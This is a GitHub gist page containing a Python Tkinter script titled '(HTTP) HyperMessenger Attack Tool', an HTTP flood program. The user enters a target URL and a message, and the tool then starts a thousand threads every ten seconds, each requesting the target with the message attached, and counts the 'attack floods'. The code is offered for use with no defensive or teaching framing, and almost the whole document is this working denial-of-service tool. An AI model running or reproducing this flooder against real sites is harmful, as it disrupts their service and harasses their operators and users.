Skip to content

Instantly share code, notes, and snippets.

@angeloped
Last active November 24, 2020 12:57
Show Gist options
  • Save angeloped/8defe88bd7f7430038b112e0d5a40382 to your computer and use it in GitHub Desktop.
Save angeloped/8defe88bd7f7430038b112e0d5a40382 to your computer and use it in GitHub Desktop.
(HTTP) HyperMessenger Attack Tool.
#!/usr/bin/python
import sys
import time
try:
import urllib
except ImportError:
import urllib as urllib
try:
import urllib.parse
except ImportError:
pass
try:
import thread
except ImportError:
import _thread as thread
try:
import Tkinter as tk
except ImportError:
import tkinter as tk
try:
import ttk
except ImportError:
import tkinter.ttk as ttk
def vp_start_gui():
root = tk.Tk()
top = Toplevel1 (root)
root.mainloop()
class Toplevel1:
def attack(self, req):
urllib.urlretrieve(req)
self.shots += 1
self.TLabel1.configure(text="attack floods: " + str(self.shots))
def attack_loop(self):
while 1:
while not self.TButton1.cget("text") == "Flood Attack!!":
msg = self.Text1.get("1.0","end-1c")
try:
msg = urllib.quote_plus(msg)
except:
msg = urllib.parse.quote_plus(msg)
for i in range(1000):
thread.start_new_thread(self.attack, (self.Entry1.get()+"/?msg="+msg,))
time.sleep(10)
time.sleep(1)
def startstop(self,event):
if self.TButton1.cget("text") == "Flood Attack!!":
self.TButton1.configure(text="Pause Attack")
else:
self.TButton1.configure(text="Flood Attack!!")
def __init__(self, top=None):
self.shots = 0
_bgcolor = '#d9d9d9' # X11 color: 'gray85'
_fgcolor = '#000000' # X11 color: 'black'
_compcolor = '#d9d9d9' # X11 color: 'gray85'
_ana2color = '#ececec' # Closest X11 color: 'gray92'
self.style = ttk.Style()
if sys.platform == "win32":
self.style.theme_use('winnative')
self.style.configure('.',background=_bgcolor)
self.style.configure('.',foreground=_fgcolor)
self.style.configure('.',font="TkDefaultFont")
self.style.map('.',background=[('selected', _compcolor), ('active',_ana2color)])
top.geometry("430x322+533+219")
top.title("(HTTP) HyperMessenger Attack Tool")
top.configure(highlightcolor="black")
top.resizable(False, False)
self.TButton1 = ttk.Button(top)
self.TButton1.place(relx=0.349, rely=0.807, height=38, width=123)
self.TButton1.configure(takefocus="")
self.TButton1.configure(text="Flood Attack!!")
self.TButton1.bind("<Button-1>", self.startstop)
self.Labelframe1 = tk.LabelFrame(top)
self.Labelframe1.place(relx=0.023, rely=0.311, relheight=0.45, relwidth=0.953)
self.Labelframe1.configure(relief='groove')
self.Labelframe1.configure(text="Message")
self.Labelframe1.configure(width=410)
self.Text1 = tk.Text(self.Labelframe1)
self.Text1.place(relx=0.024, rely=0.138, relheight=0.786, relwidth=0.941, bordermode='ignore')
self.Text1.configure(background="white")
self.Text1.configure(font="TkTextFont")
self.Text1.configure(selectbackground="#c4c4c4")
self.Text1.configure(width=386)
self.Text1.configure(wrap="word")
self.Labelframe2 = tk.LabelFrame(top)
self.Labelframe2.place(relx=0.023, rely=0.093, relheight=0.171, relwidth=0.953)
self.Labelframe2.configure(relief='groove')
self.Labelframe2.configure(text="Target")
self.Labelframe2.configure(width=410)
self.Entry1 = tk.Entry(self.Labelframe2)
self.Entry1.place(relx=0.024, rely=0.364, height=23, relwidth=0.941, bordermode='ignore')
self.Entry1.configure(background="white")
self.Entry1.configure(font="TkFixedFont")
self.Entry1.configure(selectbackground="#c4c4c4")
self.Entry1.insert(0,"https://target.com/")
self.TLabel1 = ttk.Label(top)
self.TLabel1.place(relx=0.023, rely=0.932, height=19, width=402)
self.TLabel1.configure(background="#d9d9d9")
self.TLabel1.configure(foreground="#000000")
self.TLabel1.configure(font="TkDefaultFont")
self.TLabel1.configure(relief="flat")
self.TLabel1.configure(text="attack floods: 0")
# start thread loop for attack
thread.start_new_thread(self.attack_loop,())
if __name__ == '__main__':
vp_start_gui()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment